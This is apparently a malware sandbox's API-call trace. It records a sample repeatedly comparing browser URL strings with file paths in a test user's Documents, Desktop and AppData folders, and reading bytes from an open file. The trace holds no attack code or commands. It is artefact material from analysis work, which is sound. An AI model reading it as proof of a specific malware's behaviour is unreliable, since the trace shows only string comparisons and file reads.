	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned 1
	[0099.000] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0099.001] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0099.002] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0099.002] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0099.002] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned 1
	[0099.002] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned 1
	[0099.002] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned 1
	[0099.002] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned 1
	[0099.002] wcslen (_String="http://www.msn.com/") returned 0x13
	[0099.002] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0099.002] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x182cc4, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc4*=0x8, lpOverlapped=0x0) returned 1
	[0099.002] _memicmp (_Buf1=0x186f1c, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0099.002] SetFilePointer (in: hFile=0xc0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0099.002] ReadFile (in: hFile=0xc0, lpBuffer=0x186f1c, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x182cc0, lpOverlapped=0x0 | out: lpBuffer=0x186f1c*, lpNumberOfBytesRead=0x182cc0*=0x100, lpOverlapped=0x0) returned 1
	[0099.002] _strlwr (in: _Str="https://support.microsoft.com/internet-explorer" | out: _Str="https://support.microsoft.com/internet-explorer") returned="https://support.microsoft.com/internet-explorer"
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="http://www.msn.com/") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2=":host: computer") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/ss%20braid%20po.doc.rtf") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/aan0pmcrlpyd.png") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/wnwzxyqa2welmzgrztt.ppt") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/h2izlu1ufor.xls") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/xi5-8zu1wzv%20kjhpve%20a.rtf") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/snskkcvvzd7w1.xls") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/tdmgt2fmeed.mkv") returned 1
	[0099.002] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/iw9e8gkbcyjwfy93oc.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/znz_9cyx.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/k_vzzfxu6ato.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ikf8e692kmkh_fo6.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/o9ktbmmwodelsp.bmp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/_dfs.jpg") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/p8yfgt4oxpbtzf0k_bpz.jpg") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ph_t9ive4a.gif") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/8y78ct0onkxjh0jaidth.docx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/vbknuxifja8a3smzlj.bmp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/0q4phtvdiubhgt70x.ods") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/rpro3yv6z7ezencrmh.jpg") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/needlus0azvsphmmw6z.xlsx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/uunxjvmk-zjhqq%20a.gif") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/zbmp3oztns-_tzwszsj.pdf") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/eedyusbybk5jgafd.flv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/kl3rercief.odp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/je6xvdagr_wm.flv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/okbralkx9o.pptx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/x6cwkno2g1u-.xlsx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/e2st1_q0mhblry-5f2.gif") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/5d7qoxsxvlhy.odp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/vwht_oecylulo.bmp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/dmm6.mkv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/ighw.mkv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/l8qtuzam4hc6.ots") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/o-q7.xlsx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/yfknamid8j.ods") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/j1-w3a.ods") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/mpr9wwdigysqmpdjpd.xlsx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/gnrduar4_ge-lius2.pps") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ujwjx0nxvajjtxf3pr.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/saqsfltop.bmp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/44x%20n0sokdl7to.gif") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/yst3fikdfbu4ruukpdcy.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/stpnfomqza-hly06/uf98.ots") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/gmdngx.bmp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/jnuhgew-b.ppt") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/mrbf4z2smxpy-qp.csv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/sgtctm%20w5i4m4k-tq7vz.docx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/8dmsvpxvfk8q_a4.odt") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/wvjceeg87kzqwdb.docx") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/es1ciiab1yf_z54n9_qd.gif") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/qop3.odp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/dtttxqgtwjzoirag3-ir.flv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/qfgi.mkv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/uvb6xg44bvjnt-xow9.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/pictures/elmetgyx2ieiheffa-b.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/ds1l.odp") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/t17l6ppjuvfp6jo.png") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/3nniqn2uay.csv") returned 1
	[0099.003] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/za%20xnopijc5-tgt.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/d2axj7lt.csv") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/u0uefh3x.jpg") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/-nmv1nzcfxfh4c_s.pptx") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/p70gthzxsp7.xlsx") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/desktop/6xhe6hfrnc81xta9n.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/appdata/roaming/afmgc.gif") returned 1
	[0099.004] wcscmp (_String1="https://support.microsoft.com/internet-explorer", _String2="file:///c:/users/aetadzjz/documents/1ls8ldxhvkfwb26kk79.pptx") returned 1
